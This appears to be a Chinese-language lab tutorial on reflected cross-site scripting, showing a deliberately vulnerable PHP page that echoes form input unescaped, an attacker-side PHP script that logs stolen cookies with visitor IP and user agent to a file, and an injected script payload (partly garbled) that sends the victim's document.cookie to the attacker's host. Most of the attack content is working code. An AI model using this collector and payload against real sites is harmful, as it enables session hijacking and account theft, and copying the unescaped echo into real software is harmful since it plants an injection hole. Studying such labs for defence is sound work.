试验环境:
攻击机器 10.1.36.181 stealcookies.php cookie.txt
受害服务器 10.1.36.34 victim.php victim.html
(1)受害者有xss漏洞的脚本victim.php (问题字段用红色标明)
php
session_start();
session_regenerate_id();
echo session_id()."
";
if(isset($_POST["login"]))
{
echo "Hello " .$_POST["name"]."
";
}
?>
(2)对应表单victim.html
id ="form1" name="form1" method="post" action="victim.php">
Name
name="name" type="text" id="name"/>
name="login" type="submit" id="login" value="submit"/>
正常流程:
(3)攻击者盗取cookie的脚本stealcookies.php
php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$date = date("F j, Y, g:i a");
$querystring = $_SERVER["QUERY_STRING"];
$log = fopen("cookie.txt","a+");
$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date | Cookie: $querystring \n";
fwrite($log,$str);
?>
脚本运行的前提条件,在stealcookies.php同一根目录下,有一个有写权限的文件cookie.txt
攻击流程:
在 http://10.1.36.34/victim.html的表单中提交以下语句
<script>document.write(' + encodeURI(document.cookie) + '"/>')</script>
js的意思是生成一个包含攻击者url的图片
接着我们可以看到访问该页面用户的cookie写入到了攻击者的cookie.txt文件里
查看攻击者10.1.36.181上的cookie.txt文件
cat cookie.txt
可以看到收到cookie了。